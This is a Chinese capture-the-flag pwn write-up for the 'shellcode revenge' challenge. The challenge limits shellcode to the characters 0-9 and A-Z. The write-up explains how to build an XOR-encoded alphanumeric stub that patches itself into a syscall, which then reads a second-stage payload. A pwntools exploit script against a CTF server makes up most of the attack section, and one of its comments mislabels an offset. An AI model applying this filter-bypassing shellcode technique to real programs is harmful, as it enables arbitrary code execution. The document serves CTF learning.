【pwn】shellcode revenge --0~9,A~Z字符的shellcode

查一下保护

拖进ida看主要逻辑

这里的代码逻辑为mmap开辟一段有执行的地址,可以写入shellcode,但这次写入的shellcode有限制 if ( buf > 90 || buf <= 47 || buf > 57 && buf <= 64 ) break;这里的限制shellcode的十六进制数对应的字符只能是0~9,A~Z,这些十六进制数对应的shellcode基本都是xor

我们gdb调试一下看一下寄存器的值

我们在这里下个断点,然后输入一堆22222222222222222222222222222222222

可以发现这里rax=0,rdi=0,rsi=地址,rdx=地址,这里可以构造read函数,然后就可以读入shellcode,可以绕过字符限制,但这里syscall的十六进制的代码是0f 05

代码如下:

from pwn import *

context(os='linux',arch='amd64',log_level='debug')

shellcode="syscall"

print(asm(shellcode))

可以发现,显然是不满足上面所限制的十六进制数,但这里可以用异或来达到shellcode的构造,exp如下:

python

from pwn import *
 
context(arch='amd64',os='linux',log_level='debug')
 
p = remote("node4.buuoj.cn",26157)
 
#p = process('./shellcodere')
 
 
 
payload =  b'\x33\x42\x38'  #33 42 38 xor eax, DWORD PTR [rdx+0x38]   
 
payload += b'\x31\x42\x30'  #31 42 30 xor DWORD PTR [rdx+0x30], eax   将\x4e\x44异或成syscall的十六进制数
 
payload += b'\x33\x42\x37'  #33 42 38 xor eax, DWORD PTR [rdx+0x38] ,eax置0,为调用read函数准备
 
payload += b'\x31\x42\x38'  #31 42 38 xor DWORD PTR [rdx+0x38], eax  减syscall后面代码变成nop,为后面执行shellcode做准备
 
payload += b'\x59'*(0x30-len(payload))  #59 pop rcx
 
payload += b'\x4e\x44'*2  #syscall  0x4e^0x41=0xf 0x44^0x41=0x5   
 
payload += b'A'*8           #xor key
 
p.sendlineafter("magic\n",payload)
 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值